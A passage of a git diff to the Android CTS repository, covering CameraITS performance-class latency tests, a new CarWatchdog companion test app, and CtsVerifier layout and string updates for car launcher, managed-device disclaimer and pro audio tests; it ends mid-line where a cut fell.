diff options
353 files changed, 11166 insertions, 1922 deletions
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py index e1ed8936dac..a66f831581c 100644 --- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py +++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py @@ -22,6 +22,7 @@ import camera_properties_utils import its_base_test import its_session_utils +# This must match MPC12_CAMERA_LAUNCH_THRESHOLD in ItsTestActivity.java CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600 # ms @@ -41,7 +42,7 @@ class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest): camera_id=self.camera_id) as cam: camera_properties_utils.skip_unless( - cam.is_performance_class_primary_camera()) + cam.is_primary_camera()) # Load chart for scene. props = cam.get_camera_properties() @@ -55,11 +56,17 @@ class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest): camera_id=self.camera_id) launch_ms = cam.measure_camera_launch_ms() - if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD: - raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: ' - f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms') - else: - logging.debug('camera launch time: %.1f ms', launch_ms) + + # Assert launch time if device claims performance class + if (cam.is_performance_class() and + launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD): + raise AssertionError(f'camera_launch_time_ms: {launch_ms}, THRESH: ' + f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD}') + + # Log launch time, so that the corresponding MPC level can be written to + # report log. Text must match MPC12_CAMERA_LAUNCH_PATTERN in + # ItsTestActivity.java. + print(f'camera_launch_time_ms:{launch_ms}') if __name__ == '__main__': test_runner.main() diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py index ba4867bd0f7..0eb76eb6e66 100644 --- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py +++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py @@ -22,13 +22,14 @@ import camera_properties_utils import its_base_test import its_session_utils +# This must match MPC12_JPEG_CAPTURE_THRESHOLD in ItsTestActivity.java JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest): """Test jpeg capture latency for S performance class as specified in CDD. - [7.5/H-1-6] MUST have camera2 JPEG capture latency < 1000ms for 1080p + [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p resolution as measured by the CTS camera PerformanceTest under ITS lighting conditions (3000K) for both primary cameras. """ @@ -41,7 +42,7 @@ class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest): camera_id=self.camera_id) as cam: camera_properties_utils.skip_unless( - cam.is_performance_class_primary_camera()) + cam.is_primary_camera()) # Load chart for scene. props = cam.get_camera_properties() @@ -55,12 +56,18 @@ class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest): camera_id=self.camera_id) jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms() - if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD: - raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, ' + + # Assert jpeg capture time if device claims performance class + if (cam.is_performance_class() and + jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD): + raise AssertionError(f'1080p_jpeg_capture_time_ms: {jpeg_capture_ms}, ' f'THRESH: ' - f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms') - else: - logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms) + f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD}') + + # Log jpeg capture time so that the corresponding MPC level can be written + # to report log. Text must match MPC12_JPEG_CAPTURE_PATTERN in + # ItsTestActivity.java. + print(f'1080p_jpeg_capture_time_ms:{jpeg_capture_ms}') if __name__ == '__main__': test_runner.main() diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py index 2dff574357e..679b740ba00 100644 --- a/apps/CameraITS/tests/scene3/test_flip_mirror.py +++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py @@ -53,10 +53,6 @@ def test_flip_mirror_impl(cam, props, fmt, chart, debug, log_path): Returns: boolean: True if flipped, False if not """ - - # determine if monochrome camera - mono_camera = camera_properties_utils.mono_camera(props) - # get a local copy of the chart template template = cv2.imread(opencv_processing_utils.CHART_FILE, cv2.IMREAD_ANYDEPTH) @@ -139,6 +135,10 @@ class FlipMirrorTest(its_base_test.ItsBaseTest): debug = self.debug_mode chart_loc_arg = self.chart_loc_arg + # check SKIP conditions + camera_properties_utils.skip_unless( + not camera_properties_utils.mono_camera(props)) + # load chart for scene its_session_utils.load_scene( cam, props, self.scene, self.tablet, self.chart_distance) diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py index 73d12760baa..af55ebcdbc4 100644 --- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py +++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py @@ -29,7 +29,7 @@ import its_session_utils import opencv_processing_utils ALIGN_TOL_MM = 4.0 # mm -ALIGN_TOL = 0.01 # multiplied by sensor diagonal to convert to pixels +ALIGN_TOL = 0.0075 # multiplied by sensor diagonal to convert to pixels CIRCLE_COLOR = 0 # [0: black, 255: white] CIRCLE_MIN_AREA = 0.01 # multiplied by image size CIRCLE_RTOL = 0.1 # 10% diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py index d5d3b068fa9..8e1c6f4f958 100644 --- a/apps/CameraITS/tools/run_all_tests.py +++ b/apps/CameraITS/tools/run_all_tests.py @@ -16,6 +16,7 @@ import json import logging import os import os.path +import re import subprocess import sys import tempfile @@ -41,6 +42,7 @@ RESULT_PASS = 'PASS' RESULT_FAIL = 'FAIL' RESULT_NOT_EXECUTED = 'NOT_EXECUTED' RESULT_KEY = 'result' +METRICS_KEY = 'mpc_metrics' SUMMARY_KEY = 'summary' RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED} ITS_TEST_ACTIVITY = 'com.android.cts.verifier/.camera.its.ItsTestActivity' @@ -452,6 +454,7 @@ def main(): for s in per_camera_scenes: test_params_content['scene'] = s results[s]['TEST_STATUS'] = [] + results[s][METRICS_KEY] = [] # unit is millisecond for execution time record in CtsVerifier scene_start_time = int(round(time.time() * 1000)) @@ -527,14 +530,28 @@ def main(): test_failed = False test_skipped = False test_not_yet_mandated = False - line = file.read() - if 'Test skipped' in line: + test_mpc_req = "" + content = file.read() + + # Find media performance class logging + lines = content.splitlines() + for one_line in lines: + # regular expression pattern must match + # MPC12_CAMERA_LAUNCH_PATTERN or MPC12_JPEG_CAPTURE_PATTERN in + # ItsTestActivity.java. + mpc_string_match = re.search( + '^(1080p_jpeg_capture_time_ms:|camera_launch_time_ms:)', one_line) + if mpc_string_match: + test_mpc_req = one_line + break + + if 'Test skipped' in content: return_string = 'SKIP ' num_skip += 1 test_skipped = True break - if 'Not yet mandated test' in line: + if 'Not yet mandated test' in content: return_string = 'FAIL*' num_not_mandated_fail += 1 test_not_yet_mandated = True @@ -547,7 +564,7 @@ def main(): if test_code == 1 and not test_not_yet_mandated: return_string = 'FAIL ' - if 'Problem with socket' in line and num_try != NUM_TRIES-1: + if 'Problem with socket' in content and num_try != NUM_TRIES-1: logging.info('Retry %s/%s', s, test) else: num_fail += 1 @@ -557,6 +574,8 @@ def main(): logging.info('%s %s/%s', return_string, s, test) test_name = test.split('/')[-1].split('.')[0] results[s]['TEST_STATUS'].append({'test':test_name,'status':return_string.strip()}) + if test_mpc_req: + results[s][METRICS_KEY].append(test_mpc_req) msg_short = '%s %s' % (return_string, test) scene_test_summary += msg_short + '\n' @@ -604,8 +623,9 @@ def main(): logging.info('Test execution completed.') # Power down tablet - cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER' - subprocess.Popen(cmd.split()) + if tablet_id: + cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER' + subprocess.Popen(cmd.split()) if __name__ == '__main__': main() diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py index 4c4738867bf..cac22912f76 100644 --- a/apps/CameraITS/utils/its_session_utils.py +++ b/apps/CameraITS/utils/its_session_utils.py @@ -82,6 +82,9 @@ class ItsSession(object): # Seconds timeout on each socket operation. SOCK_TIMEOUT = 20.0 + # Seconds timeout on performance measurement socket operation + SOCK_TIMEOUT_FOR_PERF_MEASURE = 40.0 + # Additional timeout in seconds when ITS service is doing more complicated # operations, for example: issuing warmup requests before actual capture. EXTRA_SOCK_TIMEOUT = 5.0 @@ -1093,8 +1096,8 @@ class ItsSession(object): ' support') return data['strValue'] == 'true' - def is_performance_class_primary_camera(self): - """Query whether the camera device is an R or S performance class primary camera. + def is_primary_camera(self): + """Query whether the camera device is a primary rear/front camera. A primary rear/front facing camera is a camera device with the lowest camera Id for that facing. @@ -1103,14 +1106,28 @@ class ItsSession(object): Boolean """ cmd = {} - cmd['cmdName'] = 'isPerformanceClassPrimaryCamera' + cmd['cmdName'] = 'isPrimaryCamera' cmd['cameraId'] = self._camera_id self.sock.send(json.dumps(cmd).encode() + '\n'.encode()) data, _ = self.__read_response_from_socket() - if data['tag'] != 'performanceClassPrimaryCamera': - raise error_util.CameraItsError('Failed to query performance class ' - 'primary camera') + if data['tag'] != 'primaryCamera': + raise error_util.CameraItsError('Failed to query primary camera') + return data['strValue'] == 'true' + + def is_performance_class(self): + """Query whether the mobile device is an R or S performance class device. + + Returns: + Boolean + """ + cmd = {} + cmd['cmdName'] = 'isPerformanceClass' + self.sock.send(json.dumps(cmd).encode() + '\n'.encode()) + + data, _ = self.__read_response_from_socket() + if data['tag'] != 'performanceClass': + raise error_util.CameraItsError('Failed to query performance class') return data['strValue'] == 'true' def measure_camera_launch_ms(self): @@ -1124,7 +1141,11 @@ class ItsSession(object): cmd['cameraId'] = self._camera_id self.sock.send(json.dumps(cmd).encode() + '\n'.encode()) + timeout = self.SOCK_TIMEOUT_FOR_PERF_MEASURE + self.sock.settimeout(timeout) data, _ = self.__read_response_from_socket() + self.sock.settimeout(self.SOCK_TIMEOUT) + if data['tag'] != 'cameraLaunchMs': raise error_util.CameraItsError('Failed to measure camera launch latency') return float(data['strValue']) @@ -1140,7 +1161,11 @@ class ItsSession(object): cmd['cameraId'] = self._camera_id self.sock.send(json.dumps(cmd).encode() + '\n'.encode()) + timeout = self.SOCK_TIMEOUT_FOR_PERF_MEASURE + self.sock.settimeout(timeout) data, _ = self.__read_response_from_socket() + self.sock.settimeout(self.SOCK_TIMEOUT) + if data['tag'] != 'camera1080pJpegCaptureMs': raise error_util.CameraItsError( 'Failed to measure camera 1080p jpeg capture latency') diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/apps/CarWatchdogCompanionApp/Android.bp index ec76abd8dcb..a87902a3da6 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp +++ b/apps/CarWatchdogCompanionApp/Android.bp @@ -1,4 +1,5 @@ -// Copyright (C) 2021 The Android Open Source Project +// +// Copyright (C) 2022 The Android Open Source Project // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. @@ -11,25 +12,19 @@ // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. +// package { default_applicable_licenses: ["Android-Apache-2.0"], } android_test_helper_app { - name: "CVE-2021-0481", - defaults: ["cts_support_defaults"], + name: "CtsCarWatchdogCompanionApp", + defaults: ["cts_defaults"], srcs: ["src/**/*.java"], + sdk_version: "current", test_suites: [ "cts", - "vts10", - "sts", + "general-tests", ], - static_libs: [ - "androidx.test.rules", - "androidx.test.uiautomator_uiautomator", - "androidx.test.core", - "androidx.appcompat_appcompat", - ], - sdk_version: "current", } diff --git a/apps/CarWatchdogCompanionApp/AndroidManifest.xml b/apps/CarWatchdogCompanionApp/AndroidManifest.xml new file mode 100644 index 00000000000..a26353923dd --- /dev/null +++ b/apps/CarWatchdogCompanionApp/AndroidManifest.xml @@ -0,0 +1,16 @@ +<?xml version="1.0" encoding="utf-8"?> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="com.android.cts.car.watchdog_companionapp"> + + <application android:label="CtsCarWatchdogCompanionApp"> + <activity android:name=".CarWatchdogCompanionActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN"/> + <category android:name="android.intent.category.LAUNCHER"/> + </intent-filter> + <meta-data android:name="distractionOptimized" android:value="true"/> + </activity> + </application> +</manifest> diff --git a/apps/CarWatchdogCompanionApp/OWNERS b/apps/CarWatchdogCompanionApp/OWNERS new file mode 100644 index 00000000000..b1bb28d40c4 --- /dev/null +++ b/apps/CarWatchdogCompanionApp/OWNERS @@ -0,0 +1,5 @@ +# Bug component: 608533 +felipeal@google.com +jahdiel@google.com +keunyoung@google.com +lakshmana@google.com diff --git a/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml new file mode 100644 index 00000000000..c24cca9ea72 --- /dev/null +++ b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml @@ -0,0 +1,21 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/text" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:textSize="20sp" + android:gravity="center" + android:text="@string/car_watchdog_companion_activity_text" /> diff --git a/apps/CarWatchdogCompanionApp/res/values/strings.xml b/apps/CarWatchdogCompanionApp/res/values/strings.xml new file mode 100644 index 00000000000..341483fc9db --- /dev/null +++ b/apps/CarWatchdogCompanionApp/res/values/strings.xml @@ -0,0 +1,21 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<resources> + <string name="car_watchdog_companion_activity_text"> + Welcome to the CTS Verifier Car Watchdog Companion App! + </string> +</resources> diff --git a/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java new file mode 100644 index 00000000000..4c7fa82c197 --- /dev/null +++ b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.car.watchdog_companionapp; + +import android.app.Activity; +import android.os.Bundle; + +/** + * A minimal application for Car's CTS Verifier Tests. + */ +public class CarWatchdogCompanionActivity extends Activity { + + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + setContentView(R.layout.car_watchdog_companion_activity); + } +} diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml index 1e2bcd96ca9..2ad8d4cb378 100644 --- a/apps/CtsVerifier/AndroidManifest.xml +++ b/apps/CtsVerifier/AndroidManifest.xml @@ -5213,6 +5213,20 @@ android:value="multi_display_mode" /> </activity> + <activity android:name=".car.CarLauncherTestActivity" + android:exported="true" + android:label="@string/car_launcher_test"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.cts.intent.category.MANUAL_TEST" /> + </intent-filter> + <meta-data android:name="test_category" android:value="@string/test_category_car" /> + <meta-data android:name="test_required_features" + android:value="android.hardware.type.automotive"/> + <meta-data android:name="display_mode" + android:value="multi_display_mode" /> + </activity> + <!-- 6DoF sensor test --> <activity android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity" diff --git a/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml b/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml index 18eef3e36bb..b40c71dfe51 100644 --- a/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml +++ b/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml @@ -27,6 +27,16 @@ <corners android:radius="4dp" /> </shape> </item> + <item android:state_focused="true"> + <shape> + <solid android:color="#ffbfbfbf" /> + <padding android:left="4dp" + android:top="4dp" + android:right="4dp" + android:bottom="4dp" /> + <corners android:radius="4dp" /> + </shape> + </item> <item> <shape> <solid android:color="#ff7f7f7f" /> diff --git a/apps/CtsVerifier/res/layout/car_launcher_test_main.xml b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml new file mode 100644 index 00000000000..675e61099e7 --- /dev/null +++ b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml @@ -0,0 +1,59 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:orientation="vertical" + android:gravity="center_horizontal" + style="@style/RootLayoutPadding"> + + <ScrollView + android:layout_width="match_parent" + android:layout_height="0dp" + android:layout_weight="1" + android:orientation="vertical"> + + <LinearLayout + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:gravity="center_horizontal" + android:orientation="vertical" > + + <TextView + android:id="@+id/car_launcher_test_description" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:padding="10dp" + android:text="@string/car_launcher_test_desc" + style="@style/InstructionsSmallFont"/> + + <Button + android:id="@+id/car_launcher_test_button" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/car_launcher_test_button_label" + android:layout_margin="24dp"/> + </LinearLayout> + </ScrollView> + + <include + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_weight="0" + layout="@layout/pass_fail_buttons" /> + +</LinearLayout>
\ No newline at end of file diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml index a60439ebd90..d9dcf411798 100644 --- a/apps/CtsVerifier/res/layout/pro_audio.xml +++ b/apps/CtsVerifier/res/layout/pro_audio.xml @@ -24,7 +24,7 @@ android:paddingLeft="10dp" android:paddingRight="10dp" android:id="@+id/proAudioHasProAudioLbl" - android:textSize="18sp"/> + android:textSize="20sp"/> </LinearLayout> <LinearLayout android:orientation="horizontal" @@ -42,7 +42,7 @@ android:paddingLeft="10dp" android:paddingRight="10dp" android:id="@+id/proAudioHasLLALbl" - android:textSize="18sp"/> + android:textSize="20sp"/> </LinearLayout> <LinearLayout android:orientation="horizontal" @@ -60,7 +60,7 @@ android:paddingLeft="10dp" android:paddingRight="10dp" android:id="@+id/proAudioHasMIDILbl" - android:textSize="18sp"/> + android:textSize="20sp"/> </LinearLayout> <LinearLayout android:orientation="horizontal" @@ -78,7 +78,7 @@ android:paddingLeft="10dp" android:paddingRight="10dp" android:id="@+id/proAudioMidiHasUSBHostLbl" - android:textSize="18sp"/> + android:textSize="20sp"/> </LinearLayout> <LinearLayout android:orientation="horizontal" @@ -96,14 +96,18 @@ android:paddingLeft="10dp" android:paddingRight="10dp" android:id="@+id/proAudioMidiHasUSBPeripheralLbl" - android:textSize="18sp"/> + android:textSize="20sp"/> </LinearLayout> - <CheckBox android:id="@+id/proAudioHasHDMICheckBox" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:text="@string/proAudioHasHDMICheckBox" - android:onClick="onCheckboxClicked"/> + <LinearLayout android:orientation="horizontal" + android:layout_width="match_parent" + android:layout_height="wrap_content"> + <CheckBox android:id="@+id/proAudioHasHDMICheckBox" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/proAudioHasHDMICheckBox" + android:onClick="onCheckboxClicked"/> + </LinearLayout> <LinearLayout android:orientation="horizontal" android:layout_width="match_parent" @@ -120,7 +124,7 @@ android:paddingLeft="10dp" android:paddingRight="10dp" android:id="@+id/proAudioHDMISupportLbl" - android:textSize="18sp"/> + android:textSize="20sp"/> </LinearLayout> <LinearLayout android:orientation="vertical" @@ -130,13 +134,7 @@ android:id="@+id/proAudioTestStatusLbl" android:layout_width="match_parent" android:layout_height="wrap_content" - android:textSize="18sp"/> - - <TextView - android:text="@string/proAudioLoopbackMoved" - android:layout_width="match_parent" - android:layout_height="wrap_content" - android:textSize="18sp"/> + android:textSize="20sp"/> </LinearLayout> <include layout="@layout/pass_fail_buttons"/> diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml index d5fe78168af..aed65e25113 100644 --- a/apps/CtsVerifier/res/values/strings.xml +++ b/apps/CtsVerifier/res/values/strings.xml @@ -180,6 +180,24 @@ framework correctly tries to open the CAR_DOCK app again.</string> <string name="car_mode_enable">Enable Car Mode</string> <string name="car_dock_activity_text">Press the Home button</string> + <string name="car_launcher_test">Car Launcher Test</string> + <string name="car_launcher_test_desc">This test ensures that the car launcher lists apps + disabled by car service due to system resource overuse.\n\n + <b> + Before proceeding, check if \'com.android.cts.car.watchdog_companionapp\' + (aka CtsCarWatchdogCompanionApp) is installed by going to Settings > Apps. If not, + please install the app before proceeding.\n\n + </b> + 1. Check if the CtsCarWatchdogCompanionApp is visible in car launcher\'s app grid view. If + it is not listed, pass the test.\n + 2. Run the + \'adb shell cmd car_service watchdog-resource-overuse-kill com.android.cts.car.watchdog_companionapp\' + shell command to disable the app because of system resource overuse.\n + 3. Click on \"Open Launcher\". Make sure the CtsCarWatchdogCompanionApp is displayed. If it + is not listed, fail the test.\n + 4. Open CtsCarWatchdogCompanionApp from the launcher.\n\n + Pass the test only if the companion app opened successfully.</string> + <string name="car_launcher_test_button_label">Open Launcher</string> <string name="gear_selection_test">Gear Selection Test</string> <string name="gear_selection_test_desc">This test ensures that the GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s @@ -4184,6 +4202,34 @@ You should be prompted to select credentials; choose the ones you just installed <string name="disallow_outgoing_beam">Disallow outgoing beam</string> <string name="disallow_outgoing_beam_action">Switching on android beam</string> <string name="disallow_remove_user">Disallow remove user</string> + <string name="check_new_user_disclaimer">Check new user disclaimer</string> + <string name="check_new_user_disclaimer_info"> + Please do the following: \n\n + 1. Check persistent notification for managed device \n\n + a). Open the notification UI, verify that there is a notification saying the device is managed.\n + b). Tap the notification\n + c). It should show a dialog explaining the device is managed and asking the user to accept \n + d). Don\'t accept initially and tap outside the dialog \n + e). Open the notification UI again, verify that the managed device notification is still shown \n + \n + f). Click \"Set Org\", and open the notification UI again, verify that the organization name + \"Foo, Inc\" is shown on the dialog \n + \n\n + 2. Check adding account is restricted\n\n + a) Click \"Go\" to launch the \"Profiles & accounts\" setting \n + b) navigate to \"Add account\" \n + \n + Expected: \n + - \"Add account\" is disabled \n + - Click the button will launch the new user disclaimer dialog\n + \n + c) Click accept button\n + \n + Expected: \n + - the screen will be dismissed \n + - \"Add account\" will be enabled\n + - Click the button will take user to the screen to add account \n + </string> <string name="device_owner_disallow_remove_user_info"> Please press \'Create uninitialized user\' to create a user that is not set up. Then press the \'Set restriction\' button to set the user restriction. @@ -5095,27 +5141,26 @@ You should be prompted to select credentials; choose the ones you just installed <!-- Pro Audio Tests --> <string name="pro_audio_latency_test">Pro Audio Test</string> - <string name="proAudioHasProAudiolbl">Has Pro Audio</string> - <string name="proAudioHasLLAlbl">Has Low-Latency Audio</string> + <string name="proAudioHasProAudiolbl">Has Pro Audio:</string> + <string name="proAudioHasLLAlbl">Has Low-Latency Audio:</string> <string name="audioLoopbackInputLbl">Audio Input:</string> <string name="audioLoopbackOutputLbl">Audio Output:</string> - - <string name="proAudioMidiHasMIDILbl">Has MIDI Support</string> - <string name="proAudioMIDIInputLbl">MIDI Input:</string> - <string name="proAudioMIDIOutputLbl">MIDI Output:</string> + <string name="proAudioMidiHasMIDILbl">Has MIDI Support:</string> <string name="proAudioMidiHasUSBHostLbl">USB Host Mode:</string> <string name="proAudioMidiHasUSBPeripheralLbl">USB Peripheral Mode:</string> <string name="proAudioHDMISupportLbl">HDMI Support:</string> <string name="proAudioHasHDMICheckBox">Has HDMI Support</string> - <string name="proAudioLoopbackMoved">The latency measurement for Pro Audio has been moved to the Audio Loopback Latency Test</string> <string name="audio_proaudio_NA">N/A</string> - <string name="audio_proaudio_pending">pending...</string> + <string name="audio_proaudio_hdmiPending">pending...</string> + <string name="audio_proaudio_hdmiNotFound">No HDMI detected.</string> <string name="audio_proaudio_nopa_title">Pro Audio Test</string> <string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO flag and therefore does not need to run this test.</string> + <string name="hdmi_insufficient">The Connected HDMI device does not meet CDD requirements</string> + <!-- Various test status strings --> <string name="audio_proaudio_pass">Pass</string> <string name="audio_proaudio_latencytoohigh">Latency is too high</string> @@ -5123,7 +5168,6 @@ You should be prompted to select credentials; choose the ones you just installed <string name="audio_proaudio_midinotreported">"No MIDI support reported"</string> <string name="audio_proaudio_usbhostnotreported">"No USB Host Mode support reported"</string> <string name="audio_proaudio_usbperipheralnotreported">"No USB Peripheral Mode support reported"</string> - <string name="audio_proaudio_hdminotvalid">HDMI support is reported by not valid.</string> <!-- MIDI Test --> <string name="midi_test">MIDI Test</string> @@ -5711,9 +5755,18 @@ Follow the instructions on the screen to measure the frequency response for the <!-- Pro Audio Test --> <string name="proaudio_test">Pro Audio Test</string> - <string name="proaudio_info"> - This test will check for validity of the \"Pro Audio\" and subsidiary flags. Note - that this test no longer requires a loopback audio device. + <string name="proaudio_info">This tests that any device claiming \"Pro Audio\" meets the + requirements specified in the + <a href="https://source.android.com/compatibility/12/android-12-cdd#510_professional_audio"> + CDD section 5.10. Professional Audio</a> + \n\nTo execute the test: + \n1. Note that all required flags report \"true\" + \n2. If the DUT supports HDMI: + \n a. Click the \"Has HDMI Support\" checkbox + \n b. Connect an HDMI device to the DUT + \n c. Verify that the reported HDMI attributes meet the specification. + \n\nNote that the latency measurement for Pro Audio has been moved to the + Audio Loopback Latency Test </string> <string name="proaudio_hdmi_infotitle">HDMI Support</string> <string name="proaudio_hdmi_message">Please connect an HDMI peripheral to validate diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java index e34dce11d29..574d7b97a4e 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java @@ -49,7 +49,7 @@ import java.util.logging.Logger; /** * Background task to generate a report and save it to external storage. */ -class ReportExporter extends AsyncTask<Void, Void, String> { +public class ReportExporter extends AsyncTask<Void, Void, String> { private static final String TAG = ReportExporter.class.getSimpleName(); private static final boolean DEBUG = true; diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java index 4bfad0b4571..9efbc85752b 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java @@ -16,6 +16,7 @@ package com.android.cts.verifier; +import static com.android.cts.verifier.ReportExporter.LOGS_DIRECTORY; import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode; import static com.android.cts.verifier.TestListActivity.sInitialLaunch; @@ -25,6 +26,7 @@ import android.content.Intent; import android.database.ContentObserver; import android.database.Cursor; import android.os.AsyncTask; +import android.os.Environment; import android.os.Handler; import android.view.LayoutInflater; import android.view.View; @@ -37,6 +39,7 @@ import com.android.compatibility.common.util.ReportLog; import com.android.cts.verifier.TestListActivity.DisplayMode; import java.io.ByteArrayInputStream; +import java.io.File; import java.io.IOException; import java.io.ObjectInputStream; import java.util.ArrayList; @@ -357,10 +360,27 @@ public abstract class TestListAdapter extends BaseAdapter { class ClearTestResultsTask extends AsyncTask<Void, Void, 